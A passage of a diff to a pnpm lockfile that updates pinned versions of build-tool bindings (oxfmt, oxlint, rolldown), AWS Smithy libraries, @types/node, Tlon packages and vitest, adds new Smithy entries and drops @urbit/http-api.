'@oxfmt/binding-linux-riscv64-gnu@0.36.0': optional: true - '@oxfmt/binding-linux-riscv64-musl@0.35.0': + '@oxfmt/binding-linux-riscv64-musl@0.36.0': optional: true - '@oxfmt/binding-linux-s390x-gnu@0.35.0': + '@oxfmt/binding-linux-s390x-gnu@0.36.0': optional: true - '@oxfmt/binding-linux-x64-gnu@0.35.0': + '@oxfmt/binding-linux-x64-gnu@0.36.0': optional: true - '@oxfmt/binding-linux-x64-musl@0.35.0': + '@oxfmt/binding-linux-x64-musl@0.36.0': optional: true - '@oxfmt/binding-openharmony-arm64@0.35.0': + '@oxfmt/binding-openharmony-arm64@0.36.0': optional: true - '@oxfmt/binding-win32-arm64-msvc@0.35.0': + '@oxfmt/binding-win32-arm64-msvc@0.36.0': optional: true - '@oxfmt/binding-win32-ia32-msvc@0.35.0': + '@oxfmt/binding-win32-ia32-msvc@0.36.0': optional: true - '@oxfmt/binding-win32-x64-msvc@0.35.0': + '@oxfmt/binding-win32-x64-msvc@0.36.0': optional: true - '@oxlint-tsgolint/darwin-arm64@0.15.0': + '@oxlint-tsgolint/darwin-arm64@0.16.0': optional: true - '@oxlint-tsgolint/darwin-x64@0.15.0': + '@oxlint-tsgolint/darwin-x64@0.16.0': optional: true - '@oxlint-tsgolint/linux-arm64@0.15.0': + '@oxlint-tsgolint/linux-arm64@0.16.0': optional: true - '@oxlint-tsgolint/linux-x64@0.15.0': + '@oxlint-tsgolint/linux-x64@0.16.0': optional: true - '@oxlint-tsgolint/win32-arm64@0.15.0': + '@oxlint-tsgolint/win32-arm64@0.16.0': optional: true - '@oxlint-tsgolint/win32-x64@0.15.0': + '@oxlint-tsgolint/win32-x64@0.16.0': optional: true - '@oxlint/binding-android-arm-eabi@1.50.0': + '@oxlint/binding-android-arm-eabi@1.51.0': optional: true - '@oxlint/binding-android-arm64@1.50.0': + '@oxlint/binding-android-arm64@1.51.0': optional: true - '@oxlint/binding-darwin-arm64@1.50.0': + '@oxlint/binding-darwin-arm64@1.51.0': optional: true - '@oxlint/binding-darwin-x64@1.50.0': + '@oxlint/binding-darwin-x64@1.51.0': optional: true - '@oxlint/binding-freebsd-x64@1.50.0': + '@oxlint/binding-freebsd-x64@1.51.0': optional: true - '@oxlint/binding-linux-arm-gnueabihf@1.50.0': + '@oxlint/binding-linux-arm-gnueabihf@1.51.0': optional: true - '@oxlint/binding-linux-arm-musleabihf@1.50.0': + '@oxlint/binding-linux-arm-musleabihf@1.51.0': optional: true - '@oxlint/binding-linux-arm64-gnu@1.50.0': + '@oxlint/binding-linux-arm64-gnu@1.51.0': optional: true - '@oxlint/binding-linux-arm64-musl@1.50.0': + '@oxlint/binding-linux-arm64-musl@1.51.0': optional: true - '@oxlint/binding-linux-ppc64-gnu@1.50.0': + '@oxlint/binding-linux-ppc64-gnu@1.51.0': optional: true - '@oxlint/binding-linux-riscv64-gnu@1.50.0': + '@oxlint/binding-linux-riscv64-gnu@1.51.0': optional: true - '@oxlint/binding-linux-riscv64-musl@1.50.0': + '@oxlint/binding-linux-riscv64-musl@1.51.0': optional: true - '@oxlint/binding-linux-s390x-gnu@1.50.0': + '@oxlint/binding-linux-s390x-gnu@1.51.0': optional: true - '@oxlint/binding-linux-x64-gnu@1.50.0': + '@oxlint/binding-linux-x64-gnu@1.51.0': optional: true - '@oxlint/binding-linux-x64-musl@1.50.0': + '@oxlint/binding-linux-x64-musl@1.51.0': optional: true - '@oxlint/binding-openharmony-arm64@1.50.0': + '@oxlint/binding-openharmony-arm64@1.51.0': optional: true - '@oxlint/binding-win32-arm64-msvc@1.50.0': + '@oxlint/binding-win32-arm64-msvc@1.51.0': optional: true - '@oxlint/binding-win32-ia32-msvc@1.50.0': + '@oxlint/binding-win32-ia32-msvc@1.51.0': optional: true - '@oxlint/binding-win32-x64-msvc@1.50.0': + '@oxlint/binding-win32-x64-msvc@1.51.0': optional: true '@pierre/diffs@1.0.11(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': @@ -8250,48 +9140,54 @@ snapshots: '@reflink/reflink-win32-x64-msvc': 0.1.19 optional: true - '@rolldown/binding-android-arm64@1.0.0-rc.5': + '@rolldown/binding-android-arm64@1.0.0-rc.7': optional: true - '@rolldown/binding-darwin-arm64@1.0.0-rc.5': + '@rolldown/binding-darwin-arm64@1.0.0-rc.7': optional: true - '@rolldown/binding-darwin-x64@1.0.0-rc.5': + '@rolldown/binding-darwin-x64@1.0.0-rc.7': optional: true - '@rolldown/binding-freebsd-x64@1.0.0-rc.5': + '@rolldown/binding-freebsd-x64@1.0.0-rc.7': optional: true - '@rolldown/binding-linux-arm-gnueabihf@1.0.0-rc.5': + '@rolldown/binding-linux-arm-gnueabihf@1.0.0-rc.7': optional: true - '@rolldown/binding-linux-arm64-gnu@1.0.0-rc.5': + '@rolldown/binding-linux-arm64-gnu@1.0.0-rc.7': optional: true - '@rolldown/binding-linux-arm64-musl@1.0.0-rc.5': + '@rolldown/binding-linux-arm64-musl@1.0.0-rc.7': optional: true - '@rolldown/binding-linux-x64-gnu@1.0.0-rc.5': + '@rolldown/binding-linux-ppc64-gnu@1.0.0-rc.7': optional: true - '@rolldown/binding-linux-x64-musl@1.0.0-rc.5': + '@rolldown/binding-linux-s390x-gnu@1.0.0-rc.7': optional: true - '@rolldown/binding-openharmony-arm64@1.0.0-rc.5': + '@rolldown/binding-linux-x64-gnu@1.0.0-rc.7': optional: true - '@rolldown/binding-wasm32-wasi@1.0.0-rc.5': + '@rolldown/binding-linux-x64-musl@1.0.0-rc.7': + optional: true + + '@rolldown/binding-openharmony-arm64@1.0.0-rc.7': + optional: true + + '@rolldown/binding-wasm32-wasi@1.0.0-rc.7': dependencies: '@napi-rs/wasm-runtime': 1.1.1 optional: true - '@rolldown/binding-win32-arm64-msvc@1.0.0-rc.5': + '@rolldown/binding-win32-arm64-msvc@1.0.0-rc.7': optional: true - '@rolldown/binding-win32-x64-msvc@1.0.0-rc.5': + '@rolldown/binding-win32-x64-msvc@1.0.0-rc.7': optional: true - '@rolldown/pluginutils@1.0.0-rc.5': {} + '@rolldown/pluginutils@1.0.0-rc.7': {} '@rollup/rollup-android-arm-eabi@4.59.0': optional: true @@ -8449,14 +9345,14 @@ snapshots: '@slack/logger@4.0.0': dependencies: - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@slack/oauth@3.0.4': dependencies: '@slack/logger': 4.0.0 '@slack/web-api': 7.14.1 '@types/jsonwebtoken': 9.0.10 - '@types/node': 25.3.3 + '@types/node': 25.3.5 jsonwebtoken: 9.0.3 transitivePeerDependencies: - debug @@ -8465,7 +9361,7 @@ snapshots: dependencies: '@slack/logger': 4.0.0 '@slack/web-api': 7.14.1 - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/ws': 8.18.1 eventemitter3: 5.0.4 ws: 8.19.0 @@ -8480,7 +9376,7 @@ snapshots: dependencies: '@slack/logger': 4.0.0 '@slack/types': 2.20.0 - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/retry': 0.12.0 axios: 1.13.5 eventemitter3: 5.0.4 @@ -8498,6 +9394,11 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/abort-controller@4.2.11': + dependencies: + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/chunked-blob-reader-native@4.2.2': dependencies: '@smithy/util-base64': 4.3.1 @@ -8507,6 +9408,15 @@ snapshots: dependencies: tslib: 2.8.1 + '@smithy/config-resolver@4.4.10': + dependencies: + '@smithy/node-config-provider': 4.3.11 + '@smithy/types': 4.13.0 + '@smithy/util-config-provider': 4.2.2 + '@smithy/util-endpoints': 3.3.2 + '@smithy/util-middleware': 4.2.11 + tslib: 2.8.1 + '@smithy/config-resolver@4.4.9': dependencies: '@smithy/node-config-provider': 4.3.10 @@ -8529,6 +9439,19 @@ snapshots: '@smithy/uuid': 1.1.1 tslib: 2.8.1 + '@smithy/core@3.23.9': + dependencies: + '@smithy/middleware-serde': 4.2.12 + '@smithy/protocol-http': 5.3.11 + '@smithy/types': 4.13.0 + '@smithy/util-base64': 4.3.2 + '@smithy/util-body-length-browser': 4.2.2 + '@smithy/util-middleware': 4.2.11 + '@smithy/util-stream': 4.5.17 + '@smithy/util-utf8': 4.2.2 + '@smithy/uuid': 1.1.2 + tslib: 2.8.1 + '@smithy/credential-provider-imds@4.2.10': dependencies: '@smithy/node-config-provider': 4.3.10 @@ -8537,6 +9460,14 @@ snapshots: '@smithy/url-parser': 4.2.10 tslib: 2.8.1 + '@smithy/credential-provider-imds@4.2.11': + dependencies: + '@smithy/node-config-provider': 4.3.11 + '@smithy/property-provider': 4.2.11 + '@smithy/types': 4.13.0 + '@smithy/url-parser': 4.2.11 + tslib: 2.8.1 + '@smithy/eventstream-codec@4.2.10': dependencies: '@aws-crypto/crc32': 5.2.0 @@ -8575,6 +9506,14 @@ snapshots: '@smithy/util-base64': 4.3.1 tslib: 2.8.1 + '@smithy/fetch-http-handler@5.3.13': + dependencies: + '@smithy/protocol-http': 5.3.11 + '@smithy/querystring-builder': 4.2.11 + '@smithy/types': 4.13.0 + '@smithy/util-base64': 4.3.2 + tslib: 2.8.1 + '@smithy/hash-blob-browser@4.2.11': dependencies: '@smithy/chunked-blob-reader': 5.2.1 @@ -8589,6 +9528,13 @@ snapshots: '@smithy/util-utf8': 4.2.1 tslib: 2.8.1 + '@smithy/hash-node@4.2.11': + dependencies: + '@smithy/types': 4.13.0 + '@smithy/util-buffer-from': 4.2.2 + '@smithy/util-utf8': 4.2.2 + tslib: 2.8.1 + '@smithy/hash-stream-node@4.2.10': dependencies: '@smithy/types': 4.13.0 @@ -8600,6 +9546,11 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/invalid-dependency@4.2.11': + dependencies: + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/is-array-buffer@2.2.0': dependencies: tslib: 2.8.1 @@ -8608,6 +9559,10 @@ snapshots: dependencies: tslib: 2.8.1 + '@smithy/is-array-buffer@4.2.2': + dependencies: + tslib: 2.8.1 + '@smithy/md5-js@4.2.10': dependencies: '@smithy/types': 4.13.0 @@ -8620,6 +9575,12 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/middleware-content-length@4.2.11': + dependencies: + '@smithy/protocol-http': 5.3.11 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/middleware-endpoint@4.4.20': dependencies: '@smithy/core': 3.23.6 @@ -8631,6 +9592,17 @@ snapshots: '@smithy/util-middleware': 4.2.10 tslib: 2.8.1 + '@smithy/middleware-endpoint@4.4.23': + dependencies: + '@smithy/core': 3.23.9 + '@smithy/middleware-serde': 4.2.12 + '@smithy/node-config-provider': 4.3.11 + '@smithy/shared-ini-file-loader': 4.4.6 + '@smithy/types': 4.13.0 + '@smithy/url-parser': 4.2.11 + '@smithy/util-middleware': 4.2.11 + tslib: 2.8.1 + '@smithy/middleware-retry@4.4.37': dependencies: '@smithy/node-config-provider': 4.3.10 @@ -8643,17 +9615,40 @@ snapshots: '@smithy/uuid': 1.1.1 tslib: 2.8.1 + '@smithy/middleware-retry@4.4.40': + dependencies: + '@smithy/node-config-provider': 4.3.11 + '@smithy/protocol-http': 5.3.11 + '@smithy/service-error-classification': 4.2.11 + '@smithy/smithy-client': 4.12.3 + '@smithy/types': 4.13.0 + '@smithy/util-middleware': 4.2.11 + '@smithy/util-retry': 4.2.11 + '@smithy/uuid': 1.1.2 + tslib: 2.8.1 + '@smithy/middleware-serde@4.2.11': dependencies: '@smithy/protocol-http': 5.3.10 '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/middleware-serde@4.2.12': + dependencies: + '@smithy/protocol-http': 5.3.11 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/middleware-stack@4.2.10': dependencies: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/middleware-stack@4.2.11': + dependencies: + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/node-config-provider@4.3.10': dependencies: '@smithy/property-provider': 4.2.10 @@ -8661,6 +9656,13 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/node-config-provider@4.3.11': + dependencies: + '@smithy/property-provider': 4.2.11 + '@smithy/shared-ini-file-loader': 4.4.6 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/node-http-handler@4.4.12': dependencies: '@smithy/abort-controller': 4.2.10 @@ -8669,36 +9671,74 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/node-http-handler@4.4.14': + dependencies: + '@smithy/abort-controller': 4.2.11 + '@smithy/protocol-http': 5.3.11 + '@smithy/querystring-builder': 4.2.11 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/property-provider@4.2.10': dependencies: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/property-provider@4.2.11': + dependencies: + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/protocol-http@5.3.10': dependencies: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/protocol-http@5.3.11': + dependencies: + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/querystring-builder@4.2.10': dependencies: '@smithy/types': 4.13.0 '@smithy/util-uri-escape': 4.2.1 tslib: 2.8.1 + '@smithy/querystring-builder@4.2.11': + dependencies: + '@smithy/types': 4.13.0 + '@smithy/util-uri-escape': 4.2.2 + tslib: 2.8.1 + '@smithy/querystring-parser@4.2.10': dependencies: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/querystring-parser@4.2.11': + dependencies: + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/service-error-classification@4.2.10': dependencies: '@smithy/types': 4.13.0 + '@smithy/service-error-classification@4.2.11': + dependencies: + '@smithy/types': 4.13.0 + '@smithy/shared-ini-file-loader@4.4.5': dependencies: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/shared-ini-file-loader@4.4.6': + dependencies: + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/signature-v4@5.3.10': dependencies: '@smithy/is-array-buffer': 4.2.1 @@ -8710,6 +9750,17 @@ snapshots: '@smithy/util-utf8': 4.2.1 tslib: 2.8.1 + '@smithy/signature-v4@5.3.11': + dependencies: + '@smithy/is-array-buffer': 4.2.2 + '@smithy/protocol-http': 5.3.11 + '@smithy/types': 4.13.0 + '@smithy/util-hex-encoding': 4.2.2 + '@smithy/util-middleware': 4.2.11 + '@smithy/util-uri-escape': 4.2.2 + '@smithy/util-utf8': 4.2.2 + tslib: 2.8.1 + '@smithy/smithy-client@4.12.0': dependencies: '@smithy/core': 3.23.6 @@ -8720,6 +9771,16 @@ snapshots: '@smithy/util-stream': 4.5.15 tslib: 2.8.1 + '@smithy/smithy-client@4.12.3': + dependencies: + '@smithy/core': 3.23.9 + '@smithy/middleware-endpoint': 4.4.23 + '@smithy/middleware-stack': 4.2.11 + '@smithy/protocol-http': 5.3.11 + '@smithy/types': 4.13.0 + '@smithy/util-stream': 4.5.17 + tslib: 2.8.1 + '@smithy/types@4.13.0': dependencies: tslib: 2.8.1 @@ -8730,20 +9791,40 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/url-parser@4.2.11': + dependencies: + '@smithy/querystring-parser': 4.2.11 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/util-base64@4.3.1': dependencies: '@smithy/util-buffer-from': 4.2.1 '@smithy/util-utf8': 4.2.1 tslib: 2.8.1 + '@smithy/util-base64@4.3.2': + dependencies: + '@smithy/util-buffer-from': 4.2.2 + '@smithy/util-utf8': 4.2.2 + tslib: 2.8.1 + '@smithy/util-body-length-browser@4.2.1': dependencies: tslib: 2.8.1 + '@smithy/util-body-length-browser@4.2.2': + dependencies: + tslib: 2.8.1 + '@smithy/util-body-length-node@4.2.2': dependencies: tslib: 2.8.1 + '@smithy/util-body-length-node@4.2.3': + dependencies: + tslib: 2.8.1 + '@smithy/util-buffer-from@2.2.0': dependencies: '@smithy/is-array-buffer': 2.2.0 @@ -8754,10 +9835,19 @@ snapshots: '@smithy/is-array-buffer': 4.2.1 tslib: 2.8.1 + '@smithy/util-buffer-from@4.2.2': + dependencies: + '@smithy/is-array-buffer': 4.2.2 + tslib: 2.8.1 + '@smithy/util-config-provider@4.2.1': dependencies: tslib: 2.8.1 + '@smithy/util-config-provider@4.2.2': + dependencies: + tslib: 2.8.1 + '@smithy/util-defaults-mode-browser@4.3.36': dependencies: '@smithy/property-provider': 4.2.10 @@ -8765,6 +9855,13 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/util-defaults-mode-browser@4.3.39': + dependencies: + '@smithy/property-provider': 4.2.11 + '@smithy/smithy-client': 4.12.3 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/util-defaults-mode-node@4.2.39': dependencies: '@smithy/config-resolver': 4.4.9 @@ -8775,27 +9872,58 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/util-defaults-mode-node@4.2.42': + dependencies: + '@smithy/config-resolver': 4.4.10 + '@smithy/credential-provider-imds': 4.2.11 + '@smithy/node-config-provider': 4.3.11 + '@smithy/property-provider': 4.2.11 + '@smithy/smithy-client': 4.12.3 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/util-endpoints@3.3.1': dependencies: '@smithy/node-config-provider': 4.3.10 '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/util-endpoints@3.3.2': + dependencies: + '@smithy/node-config-provider': 4.3.11 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/util-hex-encoding@4.2.1': dependencies: tslib: 2.8.1 + '@smithy/util-hex-encoding@4.2.2': + dependencies: + tslib: 2.8.1 + '@smithy/util-middleware@4.2.10': dependencies: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/util-middleware@4.2.11': + dependencies: + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/util-retry@4.2.10': dependencies: '@smithy/service-error-classification': 4.2.10 '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/util-retry@4.2.11': + dependencies: + '@smithy/service-error-classification': 4.2.11 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/util-stream@4.5.15': dependencies: '@smithy/fetch-http-handler': 5.3.11 @@ -8807,10 +9935,25 @@ snapshots: '@smithy/util-utf8': 4.2.1 tslib: 2.8.1 + '@smithy/util-stream@4.5.17': + dependencies: + '@smithy/fetch-http-handler': 5.3.13 + '@smithy/node-http-handler': 4.4.14 + '@smithy/types': 4.13.0 + '@smithy/util-base64': 4.3.2 + '@smithy/util-buffer-from': 4.2.2 + '@smithy/util-hex-encoding': 4.2.2 + '@smithy/util-utf8': 4.2.2 + tslib: 2.8.1 + '@smithy/util-uri-escape@4.2.1': dependencies: tslib: 2.8.1 + '@smithy/util-uri-escape@4.2.2': + dependencies: + tslib: 2.8.1 + '@smithy/util-utf8@2.3.0': dependencies: '@smithy/util-buffer-from': 2.2.0 @@ -8821,6 +9964,11 @@ snapshots: '@smithy/util-buffer-from': 4.2.1 tslib: 2.8.1 + '@smithy/util-utf8@4.2.2': + dependencies: + '@smithy/util-buffer-from': 4.2.2 + tslib: 2.8.1 + '@smithy/util-waiter@4.2.10': dependencies: '@smithy/abort-controller': 4.2.10 @@ -8831,6 +9979,10 @@ snapshots: dependencies: tslib: 2.8.1 + '@smithy/uuid@1.1.2': + dependencies: + tslib: 2.8.1 + '@snazzah/davey-android-arm-eabi@0.1.9': optional: true @@ -8908,7 +10060,7 @@ snapshots: '@tinyhttp/content-disposition@2.2.4': {} - '@tloncorp/api@git+https://github.com/tloncorp/api-beta.git#7eede1c1a756977b09f96aa14a92e2b06318ae87': + '@tloncorp/api@https://codeload.github.com/tloncorp/api-beta/tar.gz/7eede1c1a756977b09f96aa14a92e2b06318ae87': dependencies: '@aws-sdk/client-s3': 3.1000.0 '@aws-sdk/s3-request-presigner': 3.1000.0 @@ -8928,24 +10080,24 @@ snapshots: transitivePeerDependencies: - aws-crt - '@tloncorp/tlon-skill-darwin-arm64@0.1.9': + '@tloncorp/tlon-skill-darwin-arm64@0.2.2': optional: true - '@tloncorp/tlon-skill-darwin-x64@0.1.9': + '@tloncorp/tlon-skill-darwin-x64@0.2.2': optional: true - '@tloncorp/tlon-skill-linux-arm64@0.1.9': + '@tloncorp/tlon-skill-linux-arm64@0.2.2': optional: true - '@tloncorp/tlon-skill-linux-x64@0.1.9': + '@tloncorp/tlon-skill-linux-x64@0.2.2': optional: true - '@tloncorp/tlon-skill@0.1.9': + '@tloncorp/tlon-skill@0.2.2': optionalDependencies: - '@tloncorp/tlon-skill-darwin-arm64': 0.1.9 - '@tloncorp/tlon-skill-darwin-x64': 0.1.9 - '@tloncorp/tlon-skill-linux-arm64': 0.1.9 - '@tloncorp/tlon-skill-linux-x64': 0.1.9 + '@tloncorp/tlon-skill-darwin-arm64': 0.2.2 + '@tloncorp/tlon-skill-darwin-x64': 0.2.2 + '@tloncorp/tlon-skill-linux-arm64': 0.2.2 + '@tloncorp/tlon-skill-linux-x64': 0.2.2 '@tokenizer/inflate@0.4.1': dependencies: @@ -9019,7 +10171,7 @@ snapshots: '@types/body-parser@1.19.6': dependencies: '@types/connect': 3.4.38 - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/bun@1.3.9': dependencies: @@ -9039,7 +10191,7 @@ snapshots: '@types/connect@3.4.38': dependencies: - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/deep-eql@4.0.2': {} @@ -9047,14 +10199,14 @@ snapshots: '@types/express-serve-static-core@4.19.8': dependencies: - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/qs': 6.14.0 '@types/range-parser': 1.2.7 '@types/send': 1.2.1 '@types/express-serve-static-core@5.1.1': dependencies: - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/qs': 6.14.0 '@types/range-parser': 1.2.7 '@types/send': 1.2.1 @@ -9083,7 +10235,7 @@ snapshots: '@types/jsonwebtoken@9.0.10': dependencies: '@types/ms': 2.1.0 - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/linkify-it@5.0.0': {} @@ -9116,7 +10268,7 @@ snapshots: dependencies: undici-types: 7.16.0 - '@types/node@25.3.3': + '@types/node@25.3.5': dependencies: undici-types: 7.18.2 @@ -9129,31 +10281,33 @@ snapshots: '@types/request@2.48.13': dependencies: '@types/caseless': 0.12.5 - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/tough-cookie': 4.0.5 form-data: 2.5.4 '@types/retry@0.12.0': {} + '@types/sarif@2.1.7': {} + '@types/send@0.17.6': dependencies: '@types/mime': 1.3.5 - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/send@1.2.1': dependencies: - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/serve-static@1.15.10': dependencies: '@types/http-errors': 2.0.5 - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/send': 0.17.6 '@types/serve-static@2.2.0': dependencies: '@types/http-errors': 2.0.5 - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/tough-cookie@4.0.5': {} @@ -9163,43 +10317,43 @@ snapshots: '@types/ws@8.18.1': dependencies: - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/yauzl@2.10.3': dependencies: - '@types/node': 25.3.3 + '@types/node': 25.3.5 optional: true - '@typescript/native-preview-darwin-arm64@7.0.0-dev.20260301.1': + '@typescript/native-preview-darwin-arm64@7.0.0-dev.20260307.1': optional: true - '@typescript/native-preview-darwin-x64@7.0.0-dev.20260301.1': + '@typescript/native-preview-darwin-x64@7.0.0-dev.20260307.1': optional: true - '@typescript/native-preview-linux-arm64@7.0.0-dev.20260301.1': + '@typescript/native-preview-linux-arm64@7.0.0-dev.20260307.1': optional: true - '@typescript/native-preview-linux-arm@7.0.0-dev.20260301.1': + '@typescript/native-preview-linux-arm@7.0.0-dev.20260307.1': optional: true - '@typescript/native-preview-linux-x64@7.0.0-dev.20260301.1': + '@typescript/native-preview-linux-x64@7.0.0-dev.20260307.1': optional: true - '@typescript/native-preview-win32-arm64@7.0.0-dev.20260301.1': + '@typescript/native-preview-win32-arm64@7.0.0-dev.20260307.1': optional: true - '@typescript/native-preview-win32-x64@7.0.0-dev.20260301.1': + '@typescript/native-preview-win32-x64@7.0.0-dev.20260307.1': optional: true - '@typescript/native-preview@7.0.0-dev.20260301.1': + '@typescript/native-preview@7.0.0-dev.20260307.1': optionalDependencies: - '@typescript/native-preview-darwin-arm64': 7.0.0-dev.20260301.1 - '@typescript/native-preview-darwin-x64': 7.0.0-dev.20260301.1 - '@typescript/native-preview-linux-arm': 7.0.0-dev.20260301.1 - '@typescript/native-preview-linux-arm64': 7.0.0-dev.20260301.1 - '@typescript/native-preview-linux-x64': 7.0.0-dev.20260301.1 - '@typescript/native-preview-win32-arm64': 7.0.0-dev.20260301.1 - '@typescript/native-preview-win32-x64': 7.0.0-dev.20260301.1 + '@typescript/native-preview-darwin-arm64': 7.0.0-dev.20260307.1 + '@typescript/native-preview-darwin-x64': 7.0.0-dev.20260307.1 + '@typescript/native-preview-linux-arm': 7.0.0-dev.20260307.1 + '@typescript/native-preview-linux-arm64': 7.0.0-dev.20260307.1 + '@typescript/native-preview-linux-x64': 7.0.0-dev.20260307.1 + '@typescript/native-preview-win32-arm64': 7.0.0-dev.20260307.1 + '@typescript/native-preview-win32-x64': 7.0.0-dev.20260307.1 '@typespec/ts-http-runtime@0.3.3': dependencies: @@ -9213,12 +10367,6 @@ snapshots: '@urbit/aura@3.0.0': {} - '@urbit/http-api@3.0.0': - dependencies: - '@babel/runtime': 7.28.6 - browser-or-node: 1.3.0 - core-js: 3.48.0 - '@urbit/nockjs@1.6.0': {} '@vector-im/matrix-bot-sdk@0.8.0-element.3(@cypress/request@3.0.10)': @@ -9246,29 +10394,29 @@ snapshots: - '@cypress/request' - supports-color - '@vitest/browser-playwright@4.0.18(playwright@1.58.2)(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18)': + '@vitest/browser-playwright@4.0.18(playwright@1.58.2)(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18)': dependencies: - '@vitest/browser': 4.0.18(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18) - '@vitest/mocker': 4.0.18(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2)) + '@vitest/browser': 4.0.18(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18) + '@vitest/mocker': 4.0.18(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2)) playwright: 1.58.2 tinyrainbow: 3.0.3 - vitest: 4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.3)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) + vitest: 4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.5)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) transitivePeerDependencies: - bufferutil - msw - utf-8-validate - vite - '@vitest/browser@4.0.18(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18)': + '@vitest/browser@4.0.18(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18)': dependencies: - '@vitest/mocker': 4.0.18(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2)) + '@vitest/mocker': 4.0.18(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2)) '@vitest/utils': 4.0.18 magic-string: 0.30.21 pixelmatch: 7.1.0 pngjs: 7.0.0 sirv: 3.0.2 tinyrainbow: 3.0.3 - vitest: 4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.3)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) + vitest: 4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.5)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) ws: 8.19.0 transitivePeerDependencies: - bufferutil @@ -9276,7 +10424,7 @@ snapshots: - utf-8-validate - vite - '@vitest/coverage-v8@4.0.18(@vitest/browser@4.0.18(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18))(vitest@4.0.18)': + '@vitest/coverage-v8@4.0.18(@vitest/browser@4.0.18(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18))(vitest@4.0.18)': dependencies: '@bcoe/v8-coverage': 1.0.2 '@vitest/utils': 4.0.18 @@ -9288,9 +10436,9 